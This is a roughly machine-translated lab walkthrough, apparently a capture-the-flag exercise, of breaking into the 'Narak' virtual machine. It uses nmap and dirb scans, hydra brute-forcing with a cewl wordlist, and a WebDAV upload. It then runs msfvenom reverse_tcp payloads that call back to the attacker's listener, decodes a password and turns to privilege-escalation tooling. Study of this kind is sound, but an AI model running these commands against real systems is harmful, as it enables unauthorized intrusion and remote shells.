当前位置：网站首页>Target narak

Target narak

2022-04-23 02:29:00 【Um, light】

The host found

nmap -sS 192.168.226.0/24

Port scanning

Insert picture description here

dirb Dictionary based directory scanning tool

Found three directories
Insert picture description here

Insert picture description here
Access the directory

Network storage file sharing WebDAV

Insert picture description here
Reuse hydra Below blasting
perhaps burpsuite Blast
yamdoot, Swarg

. Hydra （Hydra）
Medusa( Medusa )
patator
msf
Fine

use cewl The tool generates a dictionary by crawling the keywords of website information , Blasting through the generated dictionary

Insert picture description here

use hydra Blasting tools

-L Specify user name -P Specified password ip Address plus protocol plus path .http Is the agreement of the website ,get Is the request method used , Add path after

Insert picture description here

Try logging in again ：

Insert picture description here

No information available , Check the source code ：

cadaver Tool connection

cadaver http://192.168.8.132/webdav

username：yamdoot

password:Swarg

1. Baidu found webdav service , need cadaver Tool connection , After connecting, you can upload

Insert picture description here

Upload shell

nmap -O Found in fact linux System
Insert picture description here

msfvenom Create a Trojan

msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.226.142 lport=22456 -f elf -o /home/kali/Desktop/yui.elf

Insert picture description here
monitor

Upload

liunx Failure, change to php Of

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.226.142 lport=22345 -f raw -o /home/kali/Desktop/phpshell.php

Insert picture description here
msf monitor
visit php file

shell Get

Raise the right Authority maintenance

Low authority
Insert picture description here

To view the user ：

Insert picture description here
mnt Catalog hell.sh

https://www.splitbrain.org/services/ook

Insert picture description here
brainfuck to text decode , Get decrypted content chitragupt It should be the password
chitragupt

Power raising assistant Raise the right github Open source project

https://github.com/mzet-/linux-exploit-suggester

linux Medium .sh How files are executed ？

1、 direct ./ Add file name .sh, If running hello.sh by ./hello.sh 【 The absolute path can also , but hello.sh There has to be x jurisdiction 】

chmod u+x hello.sh
Insert picture description here

Insert picture description here

Try one by one

Insert picture description here
Upload and unzip

use ssh Try logging in to another user , Enter the password you just decrypted , Found that the user logged in successfully